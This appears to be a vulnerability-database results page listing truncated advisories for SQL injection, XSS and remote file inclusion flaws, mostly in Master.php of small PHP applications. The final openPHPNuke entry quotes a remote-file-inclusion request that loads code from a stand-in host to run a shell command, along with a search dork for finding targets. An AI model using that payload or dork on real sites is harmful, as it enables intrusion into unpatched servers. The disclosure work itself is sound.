CVE-2022-28415: Improper Neutralization of Special Elements used in an SQL Command

Home Owners Collection Management System v1.0 was discovered to contain a SQL injection vulnerability via /hocms/classes/Master.php?f=deletecollection...

CVE-2022-28023: Improper Neutralization of Special Elements used in an SQL Command

Purchase Order Management System v1.0 was discovered to contain a SQL injection vulnerability via /purchaseorder/classes/Master.php?f=deletesupplier...

CVE-2022-28417: Improper Neutralization of Special Elements used in an SQL Command

Home Owners Collection Management System v1.0 was discovered to contain a SQL injection vulnerability via /hocms/classes/Master.php?f=deletephase...

CVE-2022-28022: Improper Neutralization of Special Elements used in an SQL Command

Purchase Order Management System v1.0 was discovered to contain a SQL injection vulnerability via /purchaseorder/classes/Master.php?f=deleteitem...

CVE-2022-28029: Improper Neutralization of Special Elements used in an SQL Command

Simple Real Estate Portal System v1.0 was discovered to contain a SQL injection vulnerability via /reps/classes/Master.php?f=deletetype...

CVE-2022-28412: Improper Neutralization of Special Elements used in an SQL Command

Car Driving School Managment System v1.0 was discovered to contain a SQL injection vulnerability via /cdsms/classes/Master.php?f=deletepackage...

Simple Chatbot Application SQL Injection Vulnerability (CNVD-2022-70050)

Simple Chatbot Application is a chatbot application. version 1.0 of Simple Chatbot Application is vulnerable to SQL injection, which can be exploited by attackers via the message parameter in master.php...

CVE-2022-1075: Improper Neutralization of Input During Web Page Generation

A vulnerability was found in College Website Management System 1.0 and classified as problematic. Affected by this issue is the file /cwms/classes/Master.php?f=savecontact of the component Contact Handler. The manipulation leads to persistent cross site scripting. The attack may be launched...

CVE-2021-46427

An SQL Injection vulnerability exists in Sourcecodester Simple Chatbot Application 1.0 via the message parameter in Master.php...

CVE-2021-46427

An SQL Injection vulnerability exists in Sourcecodester Simple Chatbot Application 1.0 via the message parameter in Master.php...

CVE-2021-46427: Improper Neutralization of Special Elements used in an SQL Command

An SQL Injection vulnerability exists in Sourcecodester Simple Chatbot Application 1.0 via the message parameter in Master.php...

CVE-2021-42580: Improper Neutralization of Special Elements used in an SQL Command

Sourcecodester Online Learning System 2.0 is vunlerable to sql injection authentication bypass in admin login file /admin/login.php and authenticated file upload in Master.php file , we can craft these two vunlerablities to get unauthenticated remote command execution...

YUNUCMS v1.0.7 SQL Injection Vulnerabilities in Master.php and V1.php Pages

YUNUCMS enterprise website management system YUNUCMS is a set of professional marketing enterprise building system based on PHP + MYSQL as the core development. YUNUCMS v1.0.7 Master.php and V1.php pages are vulnerable to SQL injection. An attacker can exploit the vulnerability to obtain sensitiv...

alaskavu.fr XSS vulnerability

Open Bug Bounty ID: OBB-574984 Description| Value ---|--- Affected Website:| alaskavu.fr Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

SimpNews 2.16.2 and Below Multiple SQL Injection Vulnerabilities

No description provided by source. ============================================================================================================== o SimpNews Multiple SQL Injection Vulnerabilities Software : SimpNews version 2.16.2 and below Vendor : http://www.boesch-it.de/ Author : NoGe Contact ...

Phorum 3.x PHP Configuration Disclosure Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/1985/info Phorum is a PHP based web forums package. Due to an error in the implementation of forum selection in administrative scripts, any user can view the any PHP script on the target host. This is due to user-supplied...

SimpNews 2.16.2 - Multiple SQL Injections

SimpNews 2.16.2 - Multiple SQL Injections ============================================================================================================== o SimpNews Multiple SQL Injection Vulnerabilities Software : SimpNews version 2.16.2 and below Vendor : http://www.boesch-it.de/ Author : NoGe...

CVE-2006-2137

PHP remote file inclusion vulnerability in master.php in OpenPHPNuke and 2.3.3 earlier allows remote attackers to execute arbitrary PHP code via a URL in the rootpath parameter...

CVE-2006-2137: Undefined Security Weakness

PHP remote file inclusion vulnerability in master.php in OpenPHPNuke and 2.3.3 earlier allows remote attackers to execute arbitrary PHP code via a URL in the rootpath parameter...

openPHPNuke 2.3.3 - Remote File Inclusion

openPHPNuke 2.3.3 - Remote File Inclusion Title: OpenPHPNuke = 2.3.3 Remote File Inclusion URL: http://www.openphpnuke.com/ Dork: inurl:/system/article/alltopics.php OR inurl:/system/user/index.php Credits: Oo Exploit: /master.php?rootpath=http://yourhost/cmd.gif?cmd=ls milw0rm.com 2006-04-29...